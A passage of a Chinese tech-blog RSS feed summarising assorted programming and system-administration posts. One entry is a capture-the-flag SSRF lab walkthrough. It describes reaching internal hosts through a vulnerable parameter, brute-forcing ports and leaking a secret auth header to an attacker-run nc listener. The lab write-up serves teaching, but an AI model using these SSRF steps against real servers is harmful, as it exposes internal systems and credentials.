子类必须实现的接口。&#xA;Python编程语言相较于其他编程语言更简单更容易理解，Python语言相当于是一种辅助语言，现在普遍使用的是Python3.10版本，属于进阶版，其更具兼容性，和方便性。&#xA;掌握Python编程的基础上加深了解，更有利于我们通过Python考试科目。可以将学习Python编程基础。&#xA;将其分作几个板块进行学习了解，例如了解基本的语法元素，了解编程基本数据类型，了解程序的控制结构，关于函数和代码运用，了解数据的类型等等。将Python基础区域化，更有利于我们掌握和记住编程的相关知识。&#xA;学习理论往往是不够的，更需要的是实际操作。从编写简单程序，例如建立一个文档在通过代码来执行，绘制一个小乌龟，这样更能让我们熟悉编写过程，能够增加熟练度。&#xA;灵活记忆和运用基础的语法要素，就能更好的巩固基础，避免一个小细节而导致的错误。&#xA;Python题型与分值的分布为，选择题一题一分总40题，基本操作题总18分，简单应用题总24分，综合题18分一般是两个题分值占比较高。&#xA;满分100及格分为60分，选择题和基本操作题比较容易拿分，比如多记忆知识点，多练练题，注意细节，就不会在容易拿分的题型上失分，达到及格就很容易。&#xA;多看一些编程案例，更有利于增强我们在答题过程中的题型印象减少错误。&#xA;例如常考点基本语法要素，大写字母，小写字母，数字，下划线，汉字组成；但首字符不能是数字，一个变量名中间不能出现空格，33个关键字不能作为变量名。几乎全部都会每个题都会用到。&#xA;计算机二级 Python 怎么考?考什么? 考试内容一、Python语言的基本语法元素1、程序的基本语法元素：程序的格式框架、缩进、注释、变量、命名、保留字、数据类型、赋值语句、引用；2、基本输入输出函数：input（）、eval（）、print（）；3、源程序的书写风格；4、Python语言的特点。&#xA;二、基本数据类型1、数字类型：整数类型、浮点数类型和复数类型；2、数字类型的运算：数值运算操作符、数值运算函数；3、字符串类型及格式化：索引、切片、基本的format（）格式化方法；4、字符串类型的操作：字符串操作符、处理函数和处理方法；5、类型判断和类型间转换。&#xA;三、程序控制结构1、程序的三种控制结构；2、程序的分支结构：单分支结构、二分支结构、多分支结构；3、程序的循环结构：遍历循环、无限循环、break和continue循环控制。&#xA;4、程序的异常处理：try-except。四、函数和代码复用1、函数的定义和使用；2、函数的参数传递：可选参数传递、参数名称传递、函数的返回值；3、变量的作用域：局部变量和全局变量。&#xA;五、组合数据类型1、组合数据类型的基本概念；2、列表类型：定义、索引、切片；3、列表类型的操作：列表的操作函数、列表的操作方法；4、字典类型：定义、索引；5、字典类型的操作：字典的操作函数、字典的操作方法。&#xA;六、文件和数据格式化1、文件的使用：文件打开、读写和关闭；2、数据组织的维度：一维数据和二维数据；3、一维数据的处理：表示、存储和处理；4、二维数据的处理：表示、存储和处理；5、采用CSV格式对一二维数据文件的读写。&#xA;七、Python计算生态1、标准库：turtle库（必选）、random库（必选）、time库（可选）；2、基本的Python内置函数；3、第三方库的获取和安装；4、脚本程序转变为可执行程序的第三方库：PyInstaller库（必选）；5、第三方库：jieba库（必选）、wordcloud库（可选）；6、更广泛的Python计算生态，只要求了解第三方库的名称，不限于以下领域：网络爬虫、数据分析、文本处理、数据可视化、用户图形界面、机器学习、Web开发、游戏开发等。&#xA;二级Python语言程序设计考试基本要求1、掌握Python语言的基本语法规则；2、掌握不少于2个基本的Python标准库；3、掌握不少于2个Python第三方库，掌握获取并安装第三方库的方法；4、能够阅读和分析Python程序；5、熟练使用IDLE开发环境，能够将脚本程序转变为可执行程序；6、了解Python计算生态在以下方面（不限于）的主要第三方库名称：网络爬虫、数据分析、数据可视化、机器学习、Web开发等。&#xA;计算机二级python考试内容 一、 Python 语言基本语法元素1．程序的基本语法元素：程序的格式框架、缩进、注释、变量、命名、保留字、数据类型、赋值 语句、引用。&#xA;2．基本输入输出函数：input（）、eval（）、print（）。3．源程序的书写风格。4．Python 语言的特点。二、 基本数据类型1． 数字类型：整数类型、浮点数类型和复数类型。&#xA;2． 数字类型的运算：数值运算操作符、数值运算函数。3． 字符串类型及格式化：索引、切片、基本的 format（）格式化方法。4． 字符串类型的操作：字符串操作符、处理函数和处理方法。&#xA;5． 类型判断和类型间转换。三、 程序的控制结构1． 程序的三种控制结构。2． 程序的分支结构：单分支结构、二分支结构、多分支结构。</description>
    </item>
    <item>
      <title>用VirtualBox打开VMware创建的虚拟机的方法</title>
      <link>https://bchobby.github.io/posts/ae95ce1f2c97fb97efae7d7fd68cb879/</link>
      <pubDate>Sun, 18 Sep 2022 13:36:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae95ce1f2c97fb97efae7d7fd68cb879/</guid>
      <description>用virtual box打开VMware虚拟机步骤 使用VMware创建的虚拟机文件如下：&#xA;我们现在用virtual box打开这个虚拟机。&#xA;打开virtual box，点击新建：&#xA;然后根据实际情况填写：&#xA;点击下一步后，设置内存大小，一般设置2G即可。如果宿主windows电脑物理内存4G，建议选择2G。如果物理内存有8G，可以选择4G。然后点击下一步。&#xA;点击“注册”：&#xA;点击选择，然后点击创建即可&#xA;要关机时，在virtual box的菜单栏中选择控制-&amp;gt;正常关机，然后选择shut down关机即可。&#xA;网络配置 个人感觉virtualbox的网络配置比VMware好用，因为virtual box会直接在windows中安装一个虚拟网卡，专门用于连接虚拟机的eth0网卡，这样无论宿主机网络环境如何，都不会影响到宿主机连接Ubuntu的网络。我见过很多用VMware的，一旦宿主机断网了，或者切换了无线网，都会导致ping不通Ubuntu了。这种情况在使用virtual box的时候，基本不会出现。&#xA;要使用这张虚拟的网卡，首先要配置virtualbox，启用host-only网络：&#xA;注意：上述配置，要在虚拟机关闭的情况下才能配置，否则改不了。&#xA;virtualbox安装的虚拟网卡的ip默认为192.168.56.1，因此我们还需要把Ubuntu的eth0网卡的ip改为56网段：&#xA;修改ip的方法：通过修改/etc/network/interfaces来修改：&#xA;网卡配置/etc/network/interfaces中的内容解释&#xA;如此一来，在windows中ping虚拟机eth的ip，应该就能ping通了。</description>
    </item>
    <item>
      <title>安鸾靶场之SSRF漏洞实操</title>
      <link>https://bchobby.github.io/posts/d3767c5d97a1ff50ac9f04c8199bdcf4/</link>
      <pubDate>Sun, 18 Sep 2022 12:16:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3767c5d97a1ff50ac9f04c8199bdcf4/</guid>
      <description>SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。&#xA;攻击的目标是从外网无法访问的内部系统 ( 正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统 )&#xA;SSRF 成因是由于服务端提供了从其他服务器应用获取数据的功能，且没有对目标地址做过滤与限制 (没有做合法性验证)。&#xA;出现场景&#xA;能够对外发起网络请求的地方，就可能存在 SSRF 漏洞。&#xA;在线识图，在线文档翻译，分享，订阅等，这些有的都会发起网络请求。&#xA;从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。&#xA;安鸾靶场实操 1、SSRF01 漏洞URL:http://47.103.94.191:8012/bug/ssrf/ssrf.php&#xA;提示：内网存在主机 dagebiedawo&#xA;首先访问漏洞url&#xA;输入http://www.baidu.com，发现能正常访问百度&#xA;现在我们再来访问dagebiedawo&#xA;在红框中提示了答案在这，点击跳转不能访问，所以我们在漏洞处来访问&#xA;2、SSRF02 题目URL:http://47.103.94.191:8090/&#xA;和上题一样，首先我们先来访问百度http://www.baidu.com&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/60b8e80afa564b278ce26701600ed4e9.png&#xA;能够正常访问，再来访问一下本地http://127.0.0.1,并不能成功访问&#xA;这里我们转变一下思路，可以对端口进行爆破，看看哪些端口被开放，使用burp suite抓包&#xA;爆破出7002端口，在漏洞处提交http://127.0.0.1:7002,能成功跳转，但是并未得到有用信息&#xA;接下来我们对目录进行扫描&#xA;发现网站存在robots.txt，访问一下&#xA;看到了好几个flag文件，我们再一个个访问之后，可以得到答案&#xA;http://127.0.0.1:7002/flag.txt http://127.0.0.1:7002/status http://127.0.0.1:7002/flag http://127.0.0.1:7002/hack 3、SSRF03 题目URL：http://47.103.94.191:2000/&#xA;首先访问一下百度http://www.baidu.com，可以正常访问。&#xA;访问本地http://127.0.0.1，可以正常访问，但并不能得到有用信息&#xA;再来访问一下网站的robots.txt，出现404错误，网站并不存在robots.txt文件&#xA;接下来只能对端口进行扫描了&#xA;爆破出1998端口，在漏洞处访问一下http://127.0.0.1:1998&#xA;在红框中有提示，要使用此 API，请将X_SECRET_AUTH_KEY的值作为名为&#34;auth&#34;的GET参数传递。&#xA;接下来我们要想的是怎么能够获取到X_SECRET_AUTH_KEY的值。&#xA;在我们的vps上使用nc监听一个端口，然后让靶场服务器来访问，可以监听到请求头&#xA;最后我们将这个值作为auth的参数传递，http://127.0.0.1:1998?auth=f5ddb063e92808b472c31d82c887d791，成功获取到flag</description>
    </item>
    <item>
      <title>Windows系统中安装子系统Ubuntu</title>
      <link>https://bchobby.github.io/posts/b5d78fbc82d99b94a0ac4909054614eb/</link>
      <pubDate>Sun, 18 Sep 2022 10:33:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5d78fbc82d99b94a0ac4909054614eb/</guid>
      <description>部分软件需要在Linux系统中运行，故想在Windows系统中安装一个Linux的子系统。本文介绍的是在Win11系统中安装Ubuntu系统。具体过程如下：&#xA;1. 打开控制面板-&amp;gt;程序-&amp;gt;启用或关闭Windows功能。勾选“适用于Linux的Windows子系统”和“虚拟机平台”，如下图所示。 重启电脑。&#xA;2. 重启电脑后，进入微软商店（Microsoft Store），在搜索栏中输入“Ubuntu”搜索。选择相应的需要的版本，下载安装。如果安装失败，检查是否是关闭了windows系统的自动更新功能。打开即可。&#xA;3. 安装好后，在windows的搜索栏中即可找到安装好的ubuntu系统。打开即可进入。&#xA;4. 首次进入Ubuntu系统时，会提示新建用户和密码，输入相应的内容即可新建用户。&#xA;5. 配置root密码:在终端执行命令：sudo passwd root，接着输入密码和root密码，重复密码。这样就设置好了root密码&#xA;6. 为了能方便windows和ubuntu系统中的文件共享，可以在windows系统中，打开文件夹，在地址栏中输入：\\wsl$，即可进入ubuntu的文件系统中。如下图所示。双击进入，即可对复制文件。</description>
    </item>
    <item>
      <title>PAT 1066 AVL树模板</title>
      <link>https://bchobby.github.io/posts/e0520c6d3f96229e8ff9ae32733e5034/</link>
      <pubDate>Sat, 17 Sep 2022 23:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0520c6d3f96229e8ff9ae32733e5034/</guid>
      <description>题目链接 传送门&#xA;题面 题意 让你建立一棵AVL树，不断的插入n个数，输出最终的根的val&#xA;思路 注意旋转函数和Splay的区别，Splay中的旋转函数中的p是会被提高的，而这里代码中的旋转函数，提高的是p的儿子结点；&#xA;其实对于LR以及RL我们将其看成两步即可，比如对于LR来说，先左旋当前点的左子树，再右旋当前点即可；&#xA;对于RL同理；&#xA;注意一点，这里调整是需要逐个检查路径上的所有点的平衡因子，如下图所示；&#xA;对照代码就比较容易理解了，就是一个dfs的过程；&#xA;Code #include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; typedef long long ll; const int N = 1e5 + 10; struct Tree{ int s[2]; int val; }tr[N]; #define lc (tr[p].s[0]) #define rc (tr[p].s[1]) int getH(int p){ if(!p) return 0; return max(getH(lc),getH(rc)) + 1; } int tot; void rotateR(int &amp;amp;p){ int ls = lc; tr[p].s[0] = tr[tr[p].s[0]].s[1]; tr[ls].s[1] = p; p = ls; } void rotateL(int &amp;amp;p){ int rs = rc; tr[p].</description>
    </item>
    <item>
      <title>IO流(详解)&#43;每种流(用法详解)&#43;Lamda表达式(详解)&#43;序列化,反序列化(理论)</title>
      <link>https://bchobby.github.io/posts/52b1419fedeefa00061a427cb150e416/</link>
      <pubDate>Sat, 17 Sep 2022 11:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52b1419fedeefa00061a427cb150e416/</guid>
      <description>1.IO流大全图解 /*应该把自己当做参考物:inputStream输入流(向自己输入数据,调用给自己看)*/ /*还是把自己当做参考物:outputStream输出流(由自己向数据库中写出数据)*/ 2.IO流分类 第一种：输入流和输出流 按照流的流向来分，可以分为输入流和输出流。输入，输出都是从程序运行所在内存的角度来划分的。 输入流：只能从中读取数据，而不能向其写入数据，由InputStream和Reader作为基类。 输出流：只能向其写入数据，而不能从中读取数据。由OutputStream和Writer作为基类&#xA;第二种：字节流和字符流 字节流和字符流的用法几乎完全一样，区别在于字节流和字符流所操作的数据单元不同。 字节流操作的数据单元是8位字节，由InputStream和OutputStream作为基类。 字符流操作的数据单元是16为的字符，由Reader和Writer作为基类&#xA;第三种：节点流和处理流 按照流的角色来分，可以分为节点流和处理流。&#xA;节点流：可以从向一个特定的IO设备（如磁盘、网络）读/写数据的流。也被称为低级流。节点流的另一端是明确的,是实际读写数据的流,读写一定是建立在节点流基础上进行的. 。&#xA;处理流：用于对一个已存在的流进行连接或封装，通过封装后的流来实现数据读/写功能。也称为高级流。处理流不能独立存在,必须连接在其他流上,目的是当数据流经当前流时对数据进行加工处理来简化我们对数据的该操作.。&#xA;3.IO流操作代码的缩写(对比)+lamda表达式缩写 package demo; import java.io.*; import java.nio.charset.StandardCharsets; public class Demo3 { public static void main(String[] args) { /**各种流操作的融合与缩写*/ try {//捕获异常 //四种操作融缩为一句大代码 FileOutputStream fos = new FileOutputStream(&#34;fos.txt&#34;); OutputStreamWriter osw = new OutputStreamWriter(fos,StandardCharsets.UTF_8); BufferedWriter bw = new BufferedWriter(osw); PrintWriter pw =new PrintWriter(bw,true); pw.println(&#34;摩擦摩擦&#34;); pw.println(&#34;我爱学习Java&#34;); System.out.println(&#34;输出完毕&#34;); } catch (FileNotFoundException e) { e.printStackTrace(); } --------------------------------------------------------------------------------- try {// PrintWriter pw =new PrintWriter( new BufferedWriter( new OutputStreamWriter( new FileOutputStream(&#34;</description>
    </item>
    <item>
      <title>优化算法使用总结——0.618法、梯度下降、牛顿法、共轭梯度、外罚、内罚</title>
      <link>https://bchobby.github.io/posts/2af3263f3cfc3dd0a35df6eb70b3f31a/</link>
      <pubDate>Sat, 17 Sep 2022 09:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af3263f3cfc3dd0a35df6eb70b3f31a/</guid>
      <description>实用优化算法总结 实用优化算法的种类繁多，并且各自使用的领域有所区别，为此，设计有多种优化算法，本文着重介绍其中几种，见目录。&#xA;本篇中涉及到的实验代码已上传至GitHub&#xA;最优化问题，可以分为两大部分“无约束最优化问题”和“约束最优化问题”。&#xA;目录 实用优化算法总结无约束最优化问题黄金分割法最速下降法牛顿法基本牛顿法阻尼牛顿法LM方法：克服 G − 1 G^{-1} G−1奇异、非正定的问题拟牛顿法 共轭方向法共轭梯度法 约束最优化问题一般约束优化问题 无约束最优化问题 黄金分割法 黄金分割法，也叫0.618（ τ = 0.618 τ=0.618 τ=0.618）法，这个方法可所谓足够简单，同时它适用的范围也就相对有限，需要给定单峰目标函数，以及代求区间[ a a a0， b b b0]&#xA;算法设计：&#xA;步骤1：给定 a a a0&amp;gt;0， b b b0&amp;gt;0，i=0，ε&amp;gt;0， τ = 0.618 τ=0.618 τ=0.618&#xA;步骤2：若 b b bi- a a ai&amp;lt;ε，则 α α α*= b i + a i 2 \frac{b_i+a_i}{2} 2bi​+ai​​，输出 α α α*，算法停止&#xA;步骤3：计算&#xA;α i l α^l_i αil​= a a a i + + +(1- τ τ τ) ( ( ( b b b i- a a a i ) ) ) α i r α^r_i αir​= a a a i + + + τ τ τ( b b b i- a a a i ) ) ) 步骤4：若 α i l α_i^l αil​&amp;lt; α i r α_i^r αir​，则 a a a i+1= a a a i， b b b i+1= α i r α^r_i αir​ ，否则 a a a i+1= α i l α^l_i αil​， b b b i+1= b b b i ，转步骤2 通过上述算法步骤，容易得知当 τ τ τ时，从区间[ a a a 0， b b b 0]开始迭代，经过m次迭代后，区间长度为 τ τ τ m( b b b 0- a a a 0).</description>
    </item>
    <item>
      <title>（附源码）spring boot宠物医院管理系统 毕业设计 180923</title>
      <link>https://bchobby.github.io/posts/573a4b2ca4debc6681571a97ee24480c/</link>
      <pubDate>Sat, 17 Sep 2022 08:38:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/573a4b2ca4debc6681571a97ee24480c/</guid>
      <description>Springboot宠物医院管理系统&#xA;摘 要&#xA;现如今生活质量提高，人们追求精神健康，与家中宠物朝夕相处，感情深厚，宠物渐渐成了我们身边的朋友。因而宠物生病了，需要去看病，自古医院救死扶伤，生命无贵贱，无论人类还是动物都需要合适而又方便的场所看病。同时智能化医院的普及,以往兽医站开始尝试改善自我经营的诊所，采用高效的新技术向正规化且办公化管理的医院转型，这样便可使管理高效，服务优质，方便快捷地对运营的各个部门得到全方位的改善。因而基于宠物医院的办公管理系统是宠物医院的重要工具，简单、实用、灵活，可以事半功倍。&#xA;本系统是基于浏览器与服务器架构平台，完整的办公信息处理的宠物医院管理系统。采用跨平台的JAVA语言开发，利用WEB浏览器就可以使工作人员操作本应用，实现对系统各方位信息的操作，无论大型宠物医院还是小型宠物诊所，均可自建局域网管理，方便办公，减少不必要的成本消耗。该系统沿用MVC思想，利用springboot类的封装进行逻辑控制，利用Java技术完成访问页面的展示，利用MySQL数据库存储数据，最后Tomcat服务器完成网站发布，系统可在多个环境下运行。&#xA;本课题在经过了宠物医院正常办公流程下的需求分析后，完成实现了系统用户、宠物信息、病例记录、线下预约、宠物寄养、客户评价等功能。&#xA;关键词：宠物医院管理，Springboot框架，MySQL数据库&#xA;Springboot pet hospital management system&#xA;Abstract&#xA;Nowadays, with the improvement of the quality of life, people pursue mental health, get along with their pets day and night, and have deep feelings. Pets have gradually become our friends. Therefore, pets are sick and need to see a doctor. Since ancient times, hospitals have saved the lives of the dead and healed the wounded. No matter human or animal, they need a suitable and convenient place to see a doctor.</description>
    </item>
    <item>
      <title>cesium添加前端标签实现距离显隐随位置变化而变化</title>
      <link>https://bchobby.github.io/posts/463d28e42aa31016ed81d4ede67a72aa/</link>
      <pubDate>Sat, 17 Sep 2022 08:35:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/463d28e42aa31016ed81d4ede67a72aa/</guid>
      <description>flag 功能已经实现和优化 改天上传下载代码</description>
    </item>
    <item>
      <title>用css设置锚点：点击一个元素会跳到相应的位置</title>
      <link>https://bchobby.github.io/posts/9ed04f7674211188ed23aab7ae64b877/</link>
      <pubDate>Fri, 16 Sep 2022 22:06:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ed04f7674211188ed23aab7ae64b877/</guid>
      <description>先用代码实现相应的功能：&#xA;结果：&#xA;锚点的目的就是当我们点击导航栏时，页面会跳到相关内容部分，比如上面我们点击导航栏里的频道优选，这个时候界面就会跳到相关内容的部分。接下来是锚点的代码书写和运用：&#xA;结果：&#xA;设置锚点的代码，是通过a标签来实现的，a标签不仅能跳转到其他的网页，也能跳转到同一个网页的不同区域，这个锚点的功能是通过：给页面相应的区域加上id选择，然后给导航栏文字加上a标签，a标签的href属性值是“#+id选择器的值”，就能实现点击导航栏跳转到相应的区域。</description>
    </item>
    <item>
      <title>【java】post请求参数全大写后台接不到参数</title>
      <link>https://bchobby.github.io/posts/15d530b7ea67c55ff2044630f8fe4742/</link>
      <pubDate>Fri, 16 Sep 2022 15:02:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15d530b7ea67c55ff2044630f8fe4742/</guid>
      <description> 测试验证的时候发现，接收不到请求参数 驼峰正常&#xA;springMVC使用的是Jackson来解析json格式的请求报文，&#xA;所以可以使用@JsonProperty注解来实现强制要求接受字段&#xA;@JsonProperty(&#34;DCUser_mlts&#34;)&#xD;private String DCUser_mlts;//用户数据&#xD;@JsonProperty(&#34;DCHero&#34;)&#xD;private String DCHero;// 英雄数据&#xD;@JsonProperty(&#34;DCShard&#34;)&#xD;private String DCShard;// 碎片数据&#xD;</description>
    </item>
    <item>
      <title>UnityWebRequest教程☀️2021，你还在使用过时的 www API吗？</title>
      <link>https://bchobby.github.io/posts/83ede1291d0e636275d5766509e3cedd/</link>
      <pubDate>Fri, 16 Sep 2022 11:42:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83ede1291d0e636275d5766509e3cedd/</guid>
      <description>目录&#xA;🟥 常用网络传输方法&#xA;1️⃣ Get下载数据&#xA;2️⃣ Post上传数据&#xA;3️⃣ Put上传数据&#xA;4️⃣ Head下载头文件&#xA;🟧 网络传输的API&#xA;1️⃣ 测试网址是否连通&#xA;2️⃣ 获取要下载数据的长度&#xA;3️⃣ 显示下载进度&#xA;4️⃣ 显示上传进度&#xA;5️⃣ 保存下载的文件&#xA;6️⃣ 断点续传&#xA;各位小老弟，可能已经遇到www协议过时的问题了&#xA;但又因为BestHttp是一个插件，在大型公司，不好直接将自己的插件放在项目中。&#xA;那么下面，我们就来看看Unity自己的最新网络传输方法：&#xA;UnityWebRequest&#xA;🟥 常用网络传输方法 网络传输一般采用Get、Post、Put、Head，&#xA;同时还有一些控制的API，或者得到数据之类的API，那么就先从Get说起&#xA;1️⃣ Get下载数据 Get可用来下载字符串、数组、图片、AB包、音频等的数据。&#xA;当下载完成，可再将数据进行你想要的转换。&#xA;void Start() { StartCoroutine(SendGetRequest()); } IEnumerator SendGetRequest() { UnityWebRequest uwr = UnityWebRequest.Get(&#34;http://www.baidu.com&#34;); yield return uwr.SendWebRequest(); if (uwr.isHttpError || uwr.isNetworkError) { Debug.Log(uwr.error); } else //请求成功 { Debug.Log(&#34;Get:请求成功&#34;); Debug.Log(&#34;下载的数据：&#34; + uwr.downloadedBytes); } } 2️⃣ Post上传数据 Post可以键值对的形式，将数据存在表单WWWForm里，</description>
    </item>
    <item>
      <title>javascript数组的操作方法集合</title>
      <link>https://bchobby.github.io/posts/464fecd40162f2efa7dd178ea0da1740/</link>
      <pubDate>Fri, 16 Sep 2022 11:22:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/464fecd40162f2efa7dd178ea0da1740/</guid>
      <description>什么是数组？&#xA;数组就是一个又一个元素组成的有序集合，数组取值用的是下标&#xA;数组有两种声明方式：&#xA;1.字面量声明&#xA;2.构造函数声明&#xA;// var arr = [1,{},&#39;&#39;] // var arr1 = new Array() 数组.length&#xA;var arr = [1,2,3,4,5,6] for(var i=0;i&amp;lt;=arr.length-1;i++){ console.log(arr[i],i) } 1.push() 可以添加一个或多个参数到数组的尾部，添加之后原来的数组会发生改变，返回的是添加后的数组的长度&#xA;const array = [1, 2, 3] console.log(array); //初始数组 const newArray = array.push(4, 5, 6, 7) console.log(array); //添加过后的数组 2.unshift 往数组的头部添加数据 unshift的返回值也是新数组的长度&#xA;var arr = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;] arr.unshift(&#39;e&#39;) console.log(arr) // [&#39;e&#39;, &#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;]打印的结果 3.pop 从数组的尾部删除一个数据 pop的返回值时删除的数据&#xA;var arr = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;] arr.</description>
    </item>
    <item>
      <title>Hive 上配置 Hive on Spark</title>
      <link>https://bchobby.github.io/posts/8e7e4d2df88aa62fc5c4ee9e42653b5e/</link>
      <pubDate>Fri, 16 Sep 2022 10:35:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e7e4d2df88aa62fc5c4ee9e42653b5e/</guid>
      <description>Hive 的安装配置见：Hive 安装配置&#xA;在 Hive 上配置 Hive on Spark&#xA;安装 在服务器 ns1 上安装，此服务器之前已经安装好 Hive；&#xA;下载解压 官网地址：http://spark.apache.org/downloads.html&#xA;下载：spark-3.0.0-bin-hadoop3.2.tgz&#xA;说明：&#xA;Hive3.1.2 支持的 Spark 是 2.4.5，所以需要将下载的 Hive3.1.2 的源码中的 pom 文件中的 Spark 版本改为 3.0.0，然后再编译打包，得到支持 Spark 3.0.0 的 Jar 包；&#xA;$ tar xzvf spark-3.0.0-bin-hadoop3.2.tgz -C /home/hadoop/local/&#xA;$ cd /home/hadoop/local&#xA;$ ln -s spark-3.0.0-bin-hadoop3.2 spark&#xA;配置环境变量 $ sudo vim /etc/profile.d/my_env.sh&#xA;HADOOP_HOME=/home/local/hadoop ZOOKEEPER_HOME=/home/hadoop/local/zookeeper KAFKA_HOME=/home/hadoop/local/kafka KE_HOME=/home/hadoop/local/efak FLUME_HOME=/home/hadoop/local/flume SQOOP_HOME=/home/hadoop/local/sqoop HIVE_HOME=/home/hadoop/local/hive SPARK_HOME=/home/hadoop/local/spark PATH=$PATH:/home/hadoop/bin:$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$ZOOKEEPER_HOME/bin:$KAFKA_HOME/bin:$KE_HOME/bin:$FLUME_HOME/bin:$SQOOP_HOME/bin:$HIVE_HOME/bin:$SPARK _HOME/bin:$SPARK_HOME/sbin export HADOOP_HOME ZOOKEEPER_HOME KAFKA_HOME KE_HOME FLUME_HOME SQOOP_HOME HIVE_HOME SPARK_HOME PATH 配置 Hive on Spark 在 hive 中增加配置 spark-defaults.</description>
    </item>
    <item>
      <title>SpringCloud</title>
      <link>https://bchobby.github.io/posts/cfb5f1b5888a24efc43a5f3a4b37d137/</link>
      <pubDate>Thu, 15 Sep 2022 21:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfb5f1b5888a24efc43a5f3a4b37d137/</guid>
      <description>Ribbon Ribbon其实就是一个软负载均衡的客户端组件，他可以和其他所需请求的客户端结合使用，和eureka结合只是其中的一个实例。&#xA;Maven依赖&#xA;Eureka自带了Maven依赖&#xA;&amp;lt;!--eureka 客户端--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-client&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 默认轮询负载均衡&#xA;负载均衡算法 负载方式实现类RoundRobinRule轮询RandomRule随机RetryRule先按照RoundRobinRule的策略获取服务，如果获取服务失败则在指定时间内会进行重试WeightedResponseTimeRule对RoundRobinRule的扩展，响应速度越快的实例选择权重越大，越容易被选择BestAvailableRule会先过滤掉由于多次访问故障而处于断路器跳闸状态的服务，然后选择一个并发量最小的服务AvailabilityFilteringRule先过滤掉故障实例，再选择并发较小的实例ZoneAvoidanceRule默认规则，复合判断server所在区域的性能和server的可用性选择服务器 Ribbon自定义配置负载均衡 项目启动类&#xA;@SpringBootApplication @EnableEurekaClient @RibbonClient(name = &#34;CLOUD-PAYMENT-SERVICE&#34;, configuration = MySelfRule.class) public class OrderApplication { public static void main(String[] args) { SpringApplication.run(OrderApplication.class, args); } } @RibbonClient(name = “CLOUD-PAYMENT-SERVICE”, configuration = MySelfRule.class)&#xA;name指定服务名称,configuration配置实现类&#xA;package com.yunwangl.springcloud.myrule; import com.netflix.loadbalancer.IRule; import com.netflix.loadbalancer.RandomRule; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration public class MySelfRule { @Bean public IRule myRule() { //定义为随机 return new RandomRule(); } } Ribbon官方说明配置实现类不能和程序的@ComponentScan扫描的包下，会导致其他的服务也使用该负载均衡实现，从而无法做到自定义负载均衡算法。MySelfRule需要建立在不同包名下</description>
    </item>
    <item>
      <title>QLC SSD适用的应用场景有哪些？附具体案例分享</title>
      <link>https://bchobby.github.io/posts/1bfab9bee25c2e6b09b374a871efad7f/</link>
      <pubDate>Thu, 15 Sep 2022 20:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bfab9bee25c2e6b09b374a871efad7f/</guid>
      <description>适合QLC SSD读为主的应用场景都有哪些呢？我们来一起总结下：&#xA;为了更加清晰的理解，把这个总结按照IO数据分布图填充，就得到下面这张图，更加的直观。&#xA;QLC应用案例分析 我们这里分享一个QLC SSD在CDN加速场景应用的案例。&#xA;首先看下CDN是什么。CDN 是内容分发的网络拓扑结构，在源服务器(网站原始所在地)和节点(服务器集群，缓存源服务器的文件并提供加速服务)之间提供网络加速的功能。&#xA;在没有开启CDN加速的情况下，当我们访问目标网站，会直接访问目标网站源服务器。这样就有一个缺陷，访问的距离越远，源服务器的响应就越慢。在开启CDN加速的情况下，当我们访问目标网站时，会第一优先级访问距离我们最新的节点。相当于提前把用户需要访问的文件传输到加速节点，用户就不需要等待源服务器的响应了，大大提升了用户的体验。 小编之前正好体验过CDN加速的快乐，事情是这样的，在代码开发中，我准备从官网下载VScode，但是开启下载后，发现速度真的是龟速啊，只有57KB/s, 5G的时代，还这么慢，简直不可接受。&#xA;后来发现，VScode官网有使用CDN加速功能，立即把下载链接中的域名替换成cdn加速域名(vscode.cdn.azure.cn)，现在速率直接飙升至2.3MB/s。飞一样的感觉！&#xA;好像有点扯远了，见证了CDN加速的好处，我们还是回归正题。在CDN场景下，QLC如何发挥价值呢？&#xA;CDN真正影响用户体验就是离用户最近节点服务器以及中间传输节点服务器，这部分机器既要求有低延迟的服务，又要求存储数据。访问的数据模型主要是128KB以上的95%顺序读，还有5%的随机混合读写。&#xA;CDN之前的解决方案通常采用混合存储的方式：TLC SSD作为缓存+HDD作为数据存储。这样既可以满足低延迟的需求，又可以满足低成本的数据存储需求。如果采用全QLC替换TLC SSD+HDD的混合方案，收益如何？&#xA;以Intel P5316为例，全QLC SSD的替换后，单个服务器容量提升6倍，带宽提升3.7倍，功耗效率提升3.7倍，单个服务器容量的提升，也可以服务更多的用户，收益明显。</description>
    </item>
    <item>
      <title>使用无名管道进行父子进程之间的通信，父进程发送给子进程接收，当发送了quit就退出</title>
      <link>https://bchobby.github.io/posts/e97a6af9971e70c78ab1035bb60d5389/</link>
      <pubDate>Thu, 15 Sep 2022 19:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e97a6af9971e70c78ab1035bb60d5389/</guid>
